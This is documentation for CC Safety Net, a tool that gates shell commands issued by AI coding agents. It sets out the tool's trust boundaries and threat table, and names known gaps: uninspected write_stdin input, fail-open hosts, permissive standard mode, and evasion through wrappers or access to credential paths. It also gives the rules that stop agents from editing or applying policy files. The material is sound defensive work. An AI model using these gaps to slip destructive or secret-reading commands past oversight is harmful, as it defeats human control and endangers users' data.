an `auto` call runs in the sandbox filesystem while path rules are still evaluated against the Gateway workspace. Command rules are unaffected; path rules can be evaluated against the wrong filesystem. The Codex-native relay is untested and therefore unclaimed: the live end-to-end tests drive OpenClaw's own agent runtime, so they prove nothing about a Codex-native shell, patch, or MCP call. ### Windows is not supported for either integration Both integrations assume the POSIX state layout. The hosts resolve relocated state through `HERMES_HOME` for Hermes, and through `OPENCLAW_STATE_DIR` followed by the directory of `OPENCLAW_CONFIG_PATH` for OpenClaw. They fall back to `~/.hermes` and `~/.openclaw`. The Windows defaults are not supported. Install and detection target the POSIX path on Windows, so the Hermes install writes the plugin to a directory Hermes does not read. OpenClaw's own CLI installs correctly, but `doctor` misreports the state. ## Codex coverage boundary Codex's unified exec path, the default shell path on macOS and Linux, sends a `PreToolUse` payload when a command opens a session, but none for `write_stdin`. Only the command that opened the session is evaluated. Text the model then types into the already-running interactive session reaches the shell without inspection and without an audit entry. This gap cannot be closed from the hook side: the host emits no event for that call, so there is nothing to analyze. If injection into a running session is a concern in your environment, use [sandboxing](/docs/guides/vs-sandboxing) as the containment layer. ## Grok Build is a fail-open host Grok Build hooks are fail-open by design, and the host exposes no `failClosed` knob. Only an explicit deny on stdout blocks a tool call. A hook that crashes, times out, or emits malformed output lets the call proceed. The adapter still emits an explicit deny for its own fail-closed outcomes, such as truncated tool input or an unusable working directory. On this host it cannot block a call when the failure leaves the adapter with no output at all. If that residual risk matters in your environment, use [sandboxing](/docs/guides/vs-sandboxing) as the containment layer. ## Resolve stale integration caches ### OpenCode stale cache OpenCode's plugin installer can keep serving a stale cached version of `cc-safety-net` after a new release is published. If updates do not take effect, clear the cache and reinstall. See the [OpenCode installation steps](/docs/installation#opencode-installation). Run `npx cc-safety-net doctor` to confirm the detected plugin version. ### Stale npx cache (Antigravity CLI, Cursor, Grok Build, Hermes Agent, Kimi Code) The Antigravity CLI, Cursor, Grok Build, and Kimi Code hooks and the Hermes Agent plugin run through `npx -y cc-safety-net`, so npx's own cache can also keep serving an old release. Installing any of those five targets first removes every npx cache entry that contains `cc-safety-net` (the `_npx/*/node_modules/cc-safety-net` entries). A plain reinstall then picks up the new release without manual cache clearing. Installs for other targets do not touch this cache. ### Stale bunx cache bunx keeps its own per-package cache under the OS temp dir, so a `bunx cc-safety-net` run can serve an old release too. Every `cc-safety-net update` run clears your `cc-safety-net` entries there, even when no integration is installed. Exactly one entry survives: a bunx-launched `update` does not delete the entry it is running from, because removing files in use fails on Windows. That entry re-resolves through bun's own manifest TTL instead. ## What to do if a destructive command slipped through First, confirm whether you hit a documented boundary or something unexpected: ```bash theme={"dark"} npx cc-safety-net explain "" ``` The `explain` command shows the full step-by-step analysis of how CC Safety Net evaluated that specific command, including the effective safety level, so you can tell a documented standard-mode relaxation from a real gap. For the wider symptom-by-symptom walkthrough, start at [Troubleshooting](/docs/guides/troubleshooting). A real trace is **not** automatically safe to share. Redaction covers recognized credential shapes only; the command text you supplied, its parsed tokens, absolute paths including your home directory, and your policy file path are all carried through. Reproduce with placeholder credentials and review the output before pasting it anywhere. Then route the report: * A command shape the rules do not block yet is a **coverage gap**. It is a public bug. Open a [GitHub issue](https://github.com/kenryu42/cc-safety-net/issues) describing the command *shape*, not a ready-to-paste payload. * Secret leakage, a write outside the intended directory, and supply-chain or package-integrity problems take the **private** disclosure path instead. The [security policy](/docs/security) has both procedures and the full classification. # Security model Source: https://ccsafetynet.com/docs/guides/security-model How CC Safety Net models trust: the AI-to-shell boundary, what each safety level guarantees, the configuration recovery boundary, and the disclosure classification. CC Safety Net sits between an untrusted command source, such as an AI coding agent, and the execution environment. This page documents the trust boundaries, safety-level guarantees, configuration failure handling, secret protection, and attack surface. To report a vulnerability, see the [security policy](/docs/security). CC Safety Net is a best-effort, static pre-execution policy gate for supported coding-agent tool calls. It is not an operating-system sandbox, a privilege boundary, or protection for commands that bypass an installed integration. ## Trust boundaries ### Primary boundary: command source to execution environment The core trust boundary sits between the AI coding agent and the host shell. CC Safety Net is the gatekeeper. * **Untrusted side.** AI agents generate command strings. These strings are potentially hostile because prompt injection, confused context, or adversarial instructions can cause agents to produce destructive commands. * **Execution side.** The host shell where commands would execute. Every command that reaches the shell tool on a supported platform flows through the analysis engine before it is allowed to run. If analysis returns a block reason, the command is denied. The boundary stops at supported tool names and supported shapes. Adapters grant command-execution capability only to exact, integration-specific tool names; unknown tools keep conservative policy-file, Git-metadata, and sensitive-path inspection but their text is never treated as a shell command. Commands that bypass an installed integration entirely are outside the boundary. ### Secondary boundaries Five secondary boundaries cross into CC Safety Net from an external source. Each one is validated before it can influence analysis. | Boundary | Source | How it is validated | | --------------------- | ------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | User configuration | The user `policy.json` and rule configuration on disk | Parsed and schema-validated; a rejected candidate is never enforced, and the runtime falls back instead of denying ordinary work (see [Configuration recovery boundary](#configuration-recovery-boundary)) | | Project policy | `.cc-safety-net/policy.json` in the project root, which anyone who can commit to the repository can add | Schema-validated field by field, then layered on the user policy under fixed merge rules: the project value wins for the fields it sets, `allow_paths` and `deny_paths` are the union of both scopes, and an `audit` section is ignored with a diagnostic. Every field the project relaxes is reported as a weakening line. Writing the file is denied like the user policy file | | Rulebook sources | Rulebooks vendored from GitHub or authored locally | `rule add` and `rule update` schema-validate fetched content, require the rulebook's `name` to match its source, and run `rulebook_version: 2` fixtures before writing the vendored copy; the runtime schema-validates the file again on load and drops a source it cannot load, so that source contributes no rules | | Hook input JSON | Each agent's JSON payload on stdin | Parsed defensively; malformed or oversized input triggers a deny | | Environment variables | Level and capability flags plus path overrides (`CC_SAFETY_NET_*`, `TMPDIR`, etc.) | Read explicitly; security-critical values treated as untrusted | ## What each safety level guarantees Standard, strict, and paranoid are presets that supply defaults for three capabilities: `fail_closed`, `paranoid_rm`, and `paranoid_interpreters`. The guarantee is not the same at every level. | Level | Guarantee | | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | [Standard](/docs/configuration/modes#default-mode) | **Best-effort** protection for recognizable destructive commands. It intentionally allows dynamic executables, command structure assembled through substitution, unverifiable recursive-delete targets, standalone metadata-only checks of built-in sensitive paths, and `eval`/`source` of a single fully literal local generator command. Safe-looking unparseable text is allowed through, while destructive-looking text is still caught by conservative heuristics. | | [Strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) | Adds the fail-closed capability: unparseable input is denied instead of passed through, unverifiable destructive targets such as `rm -rf "$target"` are blocked, and metadata-only sensitive-path discovery is blocked. | | [Paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) | Strict plus two restrictions: non-temp [recursive forced deletion](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1) is blocked even inside the current working directory, and [every interpreter one-liner](/docs/configuration/modes#interpreter-one-liners-cc_safety_net_paranoid_interpreters=1) is blocked regardless of its content. | Standard mode is **not adversarial-grade**. Standard allows dynamic `rm -rf` targets such as `rm -rf "$target"`; strict and paranoid block them. Use strict or paranoid when commands may come from prompt injection or another adversarial context. While secret protection is enabled, safety levels do not relax matched sensitive **content** access or user-configured deny paths and their descendants. A configured `secret_protection.allow_paths` entry can exempt a literal file or directory tree from non-CLI built-in secret rules; deny paths and `secret.cli.*` rules still win. Catastrophic protections are always enforced. These include recursive deletion of root or the user's home directory, destructive changes to protected Git metadata, and destructive changes to the user or project `policy.json`. ## Configuration recovery boundary Configuration is a trust boundary, not a kill switch. Invalid configuration resolves to one of two runtime states and **never denies ordinary work merely for being invalid**. * **`ready`.** Every active source validated. * **`degraded`.** A candidate source was rejected and something safe is enforced in its place: a rulebook file that is missing, unreadable, invalid, or named differently from its source is dropped so that source contributes no rules, a duplicate rulebook name keeps the first claim, an `audit` section in a project policy is ignored, and an unreadable policy file in either scope falls back to the salvaged policy or to built-in protective defaults. The rejected candidate is never treated as active. Dropping a source removes its denials, which reduces enforcement relative to your configured policy. Every status surface reports that reduction. Dropping a source cannot weaken a built-in rule because rulebooks only add blocking rules. Ignoring an unreadable `rule.json` also restores the built-ins that its `overrides` would have disabled. One documented exception is `transparent_wrappers`, which lives in `rule.json`. An unreadable `rule.json` narrows which wrapped commands built-in analysis unwraps for that scope. No command or path is allowlisted in return because nothing is denied for being unconfigurable. Policy-file protection and Git-metadata protection are evaluated **before** the policy snapshot is loaded, so they apply identically in both states and carry no configuration metadata. [Configuration recovery](/docs/configuration/recovery) lists every failure, its fallback, and the recovery commands. ## Fail-closed enforcement Fail-closed applies to **that one tool call** when analysis itself cannot complete: an unexpected analyzer failure, an input that cannot be parsed, or a resource limit reached. It is not a description of what happens to invalid configuration. The hook adapter wraps the analysis call in a try/catch. If analysis throws, the hook emits a deny decision instead of letting the command proceed. When the command hits an analysis budget, that denial carries its own reason, which tells the agent to simplify or split the command. The "failed closed" reason is reserved for an unexpected analyzer failure. This applies to every stdin-based hook agent (Antigravity CLI, Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Kimi Code). Grok Build differs on one point. Its hooks are fail-open and the host exposes no `failClosed` knob, so only an explicit deny on stdout blocks a tool call. The adapter still emits an explicit deny for its own fail-closed outcomes, such as truncated tool input or an unusable working directory. A failure that leaves the adapter with no output at all does not block the call on this host. The Amp Code, OpenCode, OpenClaw, and Pi in-process integrations use the same pattern. They catch analysis errors and return block messages so the platform treats the commands as denied. Codex is installed as a plugin but runs the stdin hook `cc-safety-net hook --codex`, so the step above covers it. Hermes Agent combines both models. Its managed Python plugin invokes the same stdin hook (`cc-safety-net hook --hermes-agent`) and blocks the call when analysis cannot complete. Causes include a missing `npx`, an unresolved working directory or Hermes session record, a spawn failure, the 30-second timeout, a non-zero analyzer exit, or unreadable output. See [Integration architecture](/docs/guides/integration-architecture) for each agent's model. Untrusted recursive tool input is bounded to 64 object levels, 10,000 visited values, 10,000 own keys, 1 MiB per string, and 4 MiB of aggregate string data; hook stdin is capped at 8 MiB of raw bytes. Exceeding any boundary denies the call. Input beyond 131,072 UTF-16 code units, more than 16,384 words, or nesting beyond 64 levels is denied rather than analyzed incompletely. A separate budget of 16,384 derived tokens bounds the work that nested and embedded commands add after the initial parse. See [Parsers and the runtime dependency surface](/docs/guides/architecture#parsers-and-the-runtime-dependency-surface). Both apply in **every** safety level, standard included. [Strict mode](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) extends fail-closed to commands the shell parser cannot safely tokenize, so unparseable input is blocked rather than passed through. Standard mode allows safe-looking unparseable text. Invalid configuration is deliberately **not** in this list. A rejected rule source is dropped and an unreadable policy file falls back to protective defaults, so ordinary work continues. See [Configuration recovery boundary](#configuration-recovery-boundary). See [Design principles](/docs/guides/design-principles#fail-closed-when-analysis-cannot-complete) for the rationale. ## Secret redaction Before any command or segment text is written to the audit log or returned to the agent, it passes through automatic secret redaction. The redactor scrubs PEM private keys, database URL environment variables, generic secret-bearing env assignments, common secret HTTP headers, URL credentials, presigned-URL signature query parameters (`x-amz-signature`, `x-goog-signature`, `sig`, `signature`), and known provider token prefixes (GitHub, Slack, npm, Stripe, PyPI), plus JWTs and AWS access key IDs. Each matched value is replaced with ``. Redaction is conservative and pattern-based. It reduces the risk of leaking secrets in command arguments, but it is **bounded to recognized credential shapes**. Absolute filesystem paths, project and directory names, hostnames, IP addresses, usernames, and any credential whose format is not on the pattern list are retained verbatim. New secret formats emerge regularly, so avoid piping real credentials through commands an agent runs. See the [Audit log reference](/docs/reference/audit-log#secret-redaction) for the full redaction scope. The same bound applies to `cc-safety-net explain`: a real trace carries the command text you supplied, its parsed tokens, and absolute paths including your home directory. Review a trace before pasting it anywhere. See [Explain trace](/docs/reference/explain-trace). ## Attack surface The threat model enumerates the main attack surfaces and their mitigations. | Attack surface | What an attacker tries | Mitigation | | ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Shell command parser** | Craft a command string that exploits a parser edge case (unusual quoting, nested substitution, operator ambiguity) to hide a destructive payload | Unclosed-quote guard returns the raw string as one segment; variable references are preserved (not expanded) so dynamic substitutions can be detected; strict mode blocks unparseable commands; parser errors trigger fail-closed | | **Wrapper and interpreter stripping** | Hide a destructive command behind `sudo`, `env`, `bash -c`, or an interpreter one-liner | Wrappers are stripped iteratively (with an iteration cap); shell wrappers and interpreter code are recursively re-analyzed up to 10 levels; commands you declare in `transparent_wrappers` are unwrapped to their visible child before analysis | | **Sensitive-file access** | Read or discover credentials such as `.env`, `~/.ssh/id_*`, or `~/.aws/credentials` through a command, path, search, or patch shape | Sensitive-path protection covers supported command, path, search, and patch shapes plus unknown-tool fallback inspection; user-configured deny paths and their descendants are matched first and never relaxed; literal secret allow paths can exempt non-CLI built-in matches, but Coding CLI paths remain protected; metadata-only discovery is also blocked in strict and paranoid. Coverage is a bounded pattern set, not a general read boundary | | **Path traversal in rm analysis** | Slip a dangerous `rm -rf` target past classification using symlinks or path tricks | Targets are resolved to canonical paths; `$TMPDIR` overrides pointing outside known temp dirs are detected; a residual TOCTOU window remains (see [Known limitations](/docs/guides/known-limitations#symlink-toctou-risk)) | | **Rulebook supply chain** | Serve a malicious rulebook from a GitHub source | `rule add` and `rule update` resolve the ref to a commit, refuse redirects, bound the response by bytes and time, validate the content against the schema, and run `rulebook_version: 2` fixtures before writing the vendored copy; the vendored file lands in the consumer's repository where a person can review it, and the runtime schema-validates it again on load; a malicious rulebook can add rules but cannot remove built-in blocking | | **Project policy file** | Commit a `.cc-safety-net/policy.json` that lowers the safety level or allows a sensitive path for everyone who clones the repository | The merge rules bound the damage: `deny_paths` is the union of both scopes, so a project file cannot drop a user deny path, and `audit` is user scope only. Every relaxation is listed as a weakening line on `status`, `doctor`, the statusline, and the GUI. Writing either policy file is denied with intent `hard_stop`, and an agent that runs `cc-safety-net policy apply` is denied with the same intent, so an agent in the session can neither write the file nor apply a proposal itself | | **Secret leakage in audit logs** | Get a secret written to the on-disk audit log | `redactSecrets` runs before any log write; the pattern list is maintained incrementally | | **Hook input parsing** | Crash the hook with malformed JSON | `JSON.parse` failures trigger a deny rather than a crash; platform adapters perform additional validation | | **Audit log path traversal** | Craft a session id that writes outside the logs directory | The session id is sanitized to a filesystem-safe form, length-capped, and rejects `.` and `..` | Network-level attacks and attacks on the agent platform itself are out of scope. CC Safety Net makes no network requests during command analysis and has no network layer. Resource exhaustion is bounded rather than mitigated by containment: input past the parser or tool-input limits is denied instead of analyzed incompletely. ## Disclosure classification The [security policy](/docs/security) defines the full reporting process. Use this table to select the report type. | Class | Examples | Channel | | ---------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------- | | **Bug:** CC Safety Net failed to stop a destructive command | A coverage gap (a command shape the rules do not block yet), a parser, tokenizer, or wrapper-analysis edge case, an analysis error that lets a command through, or a false positive that blocks a safe command | Public GitHub issue | | **Vulnerability:** CC Safety Net did something harmful it was never supposed to do | Secret leakage through block messages, audit logs, diagnostics, debug output, or a false-positive report prefill, including a redaction bypass; a path traversal or filesystem issue in audit logging or configuration handling where crafted input writes outside the intended directory; a supply-chain or packaging issue affecting the published npm package or plugin distribution, including rulebook integrity | Private disclosure | Report only the command shape for a coverage gap. Do not include a ready-to-paste weaponized prompt-injection payload. See the [security policy](/docs/security) for both submission channels. ## Related pages * [Security policy](/docs/security) explains how to report a bug or a vulnerability. * [Configuration recovery](/docs/configuration/recovery) defines the complete `ready` and `degraded` contract. * [Design principles](/docs/guides/design-principles) explains fail-closed and semantic analysis. * [Known limitations](/docs/guides/known-limitations) lists residual risks such as the symlink TOCTOU window. * [Audit log](/docs/reference/audit-log) explains where redacted command records are written. # The /cc-safety-net skill Source: https://ccsafetynet.com/docs/guides/skill Invoke the /cc-safety-net skill to explain a block, triage a false positive, author rulebook rules, propose a policy change, manage integrations, and diagnose protection. It runs only when you invoke it. CC Safety Net ships a skill that turns your coding agent into an operator for the tool. Ask it why a command was refused, have it write a rulebook rule, or have it check your installation. It runs the `cc-safety-net` CLI, reads the output, and reports back in plain language. The skill operates CC Safety Net. It does not enforce anything. Protection comes from the hook, which runs whether or not the skill is loaded. ## How you invoke it The skill ships inside the Claude Code plugin and the Codex plugin, so installing either one installs the skill. | Agent | Invocation | | --------------- | ------------------------------------------------------------------ | | Claude Code | `cc-safety-net:cc-safety-net`, listed under the plugin's namespace | | Pi and OpenCode | `/cc-safety-net`, a built-in command their integrations register | Antigravity CLI and Kimi Code add the skill separately with `npx skill add kenryu42/cc-safety-net`. See [Installation](/docs/installation). Whatever you type after the invocation becomes the request: ```text theme={"dark"} /cc-safety-net why was my last git command blocked /cc-safety-net block terraform destroy in this project ``` ## It never fires on its own The model cannot decide to load this skill mid-task. Two settings enforce that, one per agent family: * `disable-model-invocation: true` in the SKILL.md frontmatter, honored by Claude Code and Kimi Code. * `allow_implicit_invocation: false` in `agents/openai.yaml` next to the skill, for Codex, which ignores the frontmatter field. ## When to reach for it * A command was refused with `BLOCKED by CC Safety Net` and you want the step-by-step reason. * A block looks wrong and you want it triaged: reproduce the decision, fix the custom rule responsible, or report a built-in false positive. * You want custom blocking rules written, edited, or migrated for you. * You want the safety level changed, a protection toggled, or a path list adjusted. * You want CC Safety Net installed into, updated in, or removed from another agent CLI. * A rule you added does not fire, or you want to confirm protection is active. * You want to know why the analyzer treats a construct a certain way, beyond what `explain` and `rule doc` show. ## What each workflow does The skill routes your request to one of seven workflows. **Explain a decision.** It gets the exact blocked command, from `logs` when you do not have it to hand, and passes it to `explain` as one literal argument. It then reads the trace for the rule that matched and reports the reason, along with the safer alternative the reason names. `explain` exits 0 for both allowed and blocked verdicts, so the skill reads the verdict from the output rather than the exit status. See [Explain trace](/docs/reference/explain-trace). **Triage a false positive.** It lists recent suspect denials with `logs --suspect --since 7`, reproduces the decision with `explain`, and identifies the rule that fired. If a custom rule fired, it edits or overrides that rulebook and re-runs `explain` to confirm the new verdict. If a built-in rule fired, no rule edit can relax it, so it looks for the escape hatch the reason documents, such as `CC_SAFETY_NET_WORKTREE=1` for local git discards in linked worktrees, or `rule wrapper add` when a trusted transparent wrapper hid the real command. If you ask outright to turn that built-in rule off, it reads the rule id from `explain --json` and proposes a per-rule policy override for you to apply. Otherwise it explains the risk and points you at the issue tracker. **Configure rules.** It picks the scope, either user, project, or a shareable rulebook in the current repository, inspects what is there with `rule verify` and `rule list`, writes the JSON using `rule doc` output as the schema authority, and validates the result. A saved rulebook is live, so there is nothing to activate afterwards. When you ask for rules an official rulebook already covers, it installs that instead of writing its own, with `rule add --only `. See [Custom rules](/docs/configuration/custom-rules) and [Official rulebooks](/docs/configuration/rulebooks). **Configure the policy.** Both `policy.json` files are protected, so the skill proposes and you apply. It writes a proposal to an unprotected path, runs `policy check` on it, and shows you the diff. Then it hands you the exact `policy apply` command to run in your own terminal. It carries the `policy.json` field reference, so a proposal can set the safety level, pin one capability apart from that level, toggle either protection, turn a single built-in rule on or off, edit the allow and deny path lists, and set audit retention in the user scope. See [Policy](/docs/configuration/policy). **Manage integrations.** It runs `doctor` first for what is detected, configured, and verified, installs with an explicit target flag such as `install --claude-code`, and runs `doctor` again to confirm the affected row reads as verified. Bare `install` opens an interactive picker, which it leaves for your own terminal. **Diagnose.** `status` reports what the runtime enforces right now, including a degraded `policy.json` that `rule list` does not report. `doctor` verifies platform detection and hook config, runs a synthetic guard self-test, and checks the configuration scopes. When a custom rule does not fire, it runs `rule verify`, then `rule list`, then re-tests the command with `explain`. See [Troubleshooting](/docs/guides/troubleshooting). **Answer from version-matched source.** For questions the CLI output cannot settle, it reads the source of the version you are actually running. See below. ## Reading version-matched source The published npm package contains only a minified `dist`, so there is no readable source in it. The skill gets `` from `--version` and then looks for source in two places. A plugin install ships the whole repository, and the skill file sits at `/skills/cc-safety-net/SKILL.md` inside it, so the repository root is two directories up. The skill accepts that candidate only when its `package.json` has `"name": "cc-safety-net"` and the matching version, and a `src/` directory sits next to it. Failing that, it resolves the commit recorded with the published package through `npm view "cc-safety-net@" gitHead`, requires a 40-character lowercase hexadecimal commit, and fetches that exact commit into a fresh owner-only temporary directory with inherited git hooks and templates disabled. It verifies that `HEAD` is the expected commit before reading anything, and removes the checkout when it is done. It never answers from `main`, which can carry unreleased behavior your installed version does not have, and it states in the answer which version the source came from. The located source is read-only reference: the skill does not edit, build, or run it. ## Commands it treats as read-only These are the commands the skill considers safe to run for discovery, at any point in any workflow: `--help`, `--version`, `status`, `doctor`, `logs` (without `--prune-legacy`), `explain`, `rule list`, `rule verify`, `rule doc`, `policy check`, `help`. Every other command changes configuration or installed integrations. The skill runs those only as a step in one of the workflows above. See [CLI commands](/docs/reference/cli-commands) for what each one does. ## How it handles your command text A command that got blocked is often the kind of text a shell would mangle. The skill passes command text and wrapper names to the CLI as separate argv values, or shell-escapes the whole thing as one argument when it has to go through a shell. Command substitutions, backticks, and variables therefore stay inert until the analyzer receives them. Once received, `explain` analyzes the string and never executes it. The same holds for rulebook fixtures: `rule verify` evaluates `rulebook_version` 2 fixtures against the rulebook's own rules, and the fixture commands are analyzer input that CC Safety Net never runs. ## What it will not do * Help you evade CC Safety Net. It will not lower the level, uninstall, edit config, or propose a weakening policy to get a blocked command through, unless you ask for that outcome and understand what the block guards against. * Write either `policy.json`. Reading them is allowed, writing them is not. `policy apply` invoked by an agent is blocked by design, there is no `--yes` flag, and the skill will not wrap the command or write the file another way. * Offer to add a GitHub rulebook source while authoring rules. Installing rulebooks from a GitHub source sits outside that workflow. It uses `rule add owner/repo --only ` only when you explicitly ask to install existing rulebooks, and adds `--ref ` only when you name a non-default ref. * Run `hook`. That is the integration entry point that reads hook JSON from stdin, not a user-facing command. * Run `logs --prune-legacy` without an explicit request, and it runs `--dry-run` first when you do ask. The command permanently deletes legacy logs. * Run `rule remove --delete-source` without asking. That flag deletes the local source directory. * Run `rule sync` to validate or activate anything. It is deprecated and only migrates lock and cache leftovers from an earlier version. It also prefers `gui --no-open` and gives you the URL instead of opening a browser from your session. The skill reads `cc-safety-net rule doc` as the complete authority for rulebook schema, paths, GitHub sources, matching behavior, and validation. [Custom rules](/docs/configuration/custom-rules) documents the same contract for you. # Team setup: ship a safety policy with your repository Source: https://ccsafetynet.com/docs/guides/team-setup Set up CC Safety Net for a team: make sure every member has the hook installed, automate the install in your project's existing bootstrap step, and optionally commit a project policy and vendored rulebooks to standardize protection for the repository. CC Safety Net protects a team in two layers. The first needs no repository configuration at all. Once a member installs the hook, every repository they work in is protected by their user policy, which starts at the standard preset. The second layer is optional. Commit project configuration under `.cc-safety-net/` when the team wants to standardize a preset, add custom rules, or protect extra paths, and every clone picks it up with no member action. So the minimum team setup is making sure every member installs CC Safety Net. ## Make sure every member installs it Each member installs the hook **once per machine, per agent CLI**. Nothing repeats per repository: ```bash theme={"dark"} npx -y cc-safety-net@latest install ``` The interactive selector detects installed agent CLIs. A target flag such as `--claude-code`, `--codex`, or `--cursor` installs one non-interactively; `npx -y cc-safety-net install --help` lists all of them. ### Automate the install Attach the install to whatever setup step your project already runs. That step depends on your language and tooling: a `postinstall` script in an npm project, a `Makefile` or `justfile` bootstrap target, a dev container's `postCreateCommand`, a `mise` task. A project with no setup step puts the one-liner in its onboarding docs instead. For example, in an npm project: ```json theme={"dark"} { "scripts": { "postinstall": "node -e \"process.env.CI || require('child_process').execSync('npx -y cc-safety-net install --claude-code', {stdio: 'inherit'})\"" } } ``` Two caveats carry over to whichever mechanism you pick: * Setup steps often also run in CI and inside containers, where installing an agent hook is wasted work. The `process.env.CI` guard above skips it there. * The install is per machine and per agent CLI, so pick the target flag your team actually uses. For mixed-CLI teams, documenting the interactive one-liner works better. ## Standardize the repository (optional) Members' own policies already block destructive commands and secret access at the standard preset. Commit configuration under `.cc-safety-net/` only when the team wants more than that: a specific preset, custom blocking rules, or extra protected paths. Two pieces of committed configuration are available: * **`.cc-safety-net/policy.json`.** A sparse project policy that layers over each member's user policy: safety preset, built-in protection toggles, per-rule overrides, extra protected paths. [Policy](/docs/configuration/policy#project-policy) owns the merge contract. * **`.cc-safety-net/rule.json` and `.cc-safety-net/rules/`.** Project custom rules. Vendored rulebook files are ordinary committed files, so teammates get them without running anything. [Custom rules](/docs/configuration/custom-rules) owns the format. Write the policy fields the team should share into a proposal file, validate it, and apply it: ```bash theme={"dark"} npx -y cc-safety-net policy check proposal.json npx -y cc-safety-net policy apply proposal.json ``` `policy check` prints the diff against the effective merged policy. `policy apply` writes `.cc-safety-net/policy.json` after you confirm that diff in a terminal. The Policy tab of `npx -y cc-safety-net gui` can also draft a project policy. Keep the file sparse. Set only what the team standardizes on; every other field keeps inheriting from each member's user policy. Install [official rulebooks](/docs/configuration/rulebooks) into the project scope and author any project-specific rules: ```bash theme={"dark"} npx -y cc-safety-net rule add cc-safety-net/rulebooks --only terraform aws ``` Without `--global`, the vendored rulebook files land under `.cc-safety-net/rules/` in the repository. Commit the `.cc-safety-net/` directory. Before you push, confirm this checkout is protected the way you expect: ```bash theme={"dark"} npx -y cc-safety-net status npx -y cc-safety-net rule verify npx -y cc-safety-net explain "terraform destroy" ``` ## What members see The project policy is honored as written, and weakenings are visible rather than silent. Every field the project file relaxes relative to a member's user policy gets its own reported line in `status`, `doctor`, the status line, `explain`, and the GUI, such as `project policy lowers level: strict -> standard` and `project policy disables rule `. [Project policy](/docs/configuration/policy#project-policy) lists the full set. The boundaries members keep: * **A member's user policy stays theirs.** The project file only layers over it. Unset fields inherit, and members can run a stricter user policy than the project baseline. * **Audit stays user-scope.** An `audit` section in a project policy is ignored and reported. The project cannot change what members record locally. * **Project rules cannot touch user rules.** A project override naming a user-scoped rule is ignored with a warning. ## Policy changes stay human `policy apply` refuses to run without a terminal to confirm in, and agent invocations of it are blocked outright, whether through direct binaries, `npx`/`bunx`/`pnpx`, or runtime entrypoints. The intended flow is the one above. An agent may draft a proposal file and validate it with `policy check`, but a person reads the diff and applies it. Combined with the mutation guard on the policy files themselves, a committed policy change always passes through a human, normally as a reviewed pull request touching `.cc-safety-net/`. Treat `.cc-safety-net/` like CI configuration in code review. It is a small directory that changes what every teammate's agent may do, so reviewers read every line. If your repository uses `CODEOWNERS`, assign it an owner. ## Keep it verified `rule verify` validates the committed rule configuration and every rulebook directory offline, so it slots directly into CI: ```yaml theme={"dark"} - run: npx -y cc-safety-net@latest rule verify ``` That catches a hand-edited rulebook that no longer validates, or a fixture its rules no longer satisfy, before the broken state reaches a teammate's clone. Members who want a local summary at any time run `npx -y cc-safety-net status` for the effective policy and `npx -y cc-safety-net doctor` for a full installation check. # Troubleshooting installation and behavior Source: https://ccsafetynet.com/docs/guides/troubleshooting Fix common CC Safety Net issues: hook not firing, slow hooks, commands not blocked, false positives, custom rules not enforced, degraded configuration, and status line not showing. Use this guide to fix common CC Safety Net installation and behavior problems. Run `status` for the quick verdict. Then run `doctor` for the full report. ## Run diagnostics first ```bash theme={"dark"} npx cc-safety-net status ``` `status` prints the runtime verdict (`ready` or `degraded`), the active protections and safety level, your policy path, and one bullet per outstanding issue. A disabled Claude Code plugin appears as the first `Not active` item, not as a separate verdict. `status` is informational and always exits 0. ```bash theme={"dark"} npx cc-safety-net doctor bunx cc-safety-net doctor ``` `doctor` checks each supported agent's hook integration, confirms that blocking works, validates custom rules, reports active mode flags and recent activity, lists system versions, and checks for updates. It is the one command that reports both rule configuration and `policy.json`. See the [doctor command reference](/docs/reference/cli-commands#doctor) for each check. Review the output before you work through the individual issues below. Most problems are visible here. A `degraded` verdict means a configuration source was rejected and something safe is enforced in its place. It does **not** mean your commands are blocked. Invalid configuration never denies ordinary work. See [Configuration recovery](/docs/configuration/recovery). ## Fix common issues If you run a command that should be blocked and it executes without any intervention, the hook is not registered correctly for your agent. **Steps to resolve:** 1. Run `npx cc-safety-net doctor`. It checks hook integration for every supported agent and reports misconfiguration with the exact configuration path. 2. Re-run the install command for your agent. For a valid managed installation, this is idempotent and repairs a missing or disabled managed entry. If the installer reports an unrecognized, symlinked, or foreign config or file, follow its manual recovery message instead of overwriting it. The full per-agent command table is in [Installation](/docs/installation#install-a-specific-agent). 3. **Amp Code**: run `amp plugins list` and confirm a `cc-safety-net (User Plugins)` row with status `active`. Any other status requires `plugins: reload` in Amp or a reinstall with `install --amp`. A local file at `~/.config/amp/plugins/cc-safety-net.ts` masks the personal plugin. `install --amp` removes a managed copy and fails with an actionable error on an unmanaged one. Amp reads plugins at startup, so restart Amp or run `plugins: reload` after a change. 4. **Antigravity CLI**: check `~/.gemini/config/hooks.json` for a managed `PreToolUse` entry running `npx -y cc-safety-net hook --agy-cli`. 5. **Claude Code**: run `/plugin` inside Claude Code and confirm that `cc-safety-net` appears in the installed plugins list and is enabled. If it doesn't appear, reinstall with `/plugin install cc-safety-net@cc-marketplace`, then `/reload-plugins`. 6. **Codex**: run `codex plugin list` and confirm the `cc-safety-net@cc-marketplace` line reads `installed, enabled`. Then run `/hooks` in the TUI, select the **cc-safety-net PreToolUse hook**, and press `t` to mark it as trusted. The hook will not fire until you trust it. 7. **Cursor**: check `~/.cursor/hooks.json` for a managed `preToolUse` entry running `npx -y cc-safety-net hook --cursor`. The config is global, so one entry covers Cursor IDE and Cursor CLI across all projects. 8. **Gemini CLI**: run `gemini extensions list` and confirm the `https://github.com/kenryu42/gemini-safety-net` source is installed and enabled (check both User and Workspace scope, Workspace wins if set). Reinstall with `gemini extensions install 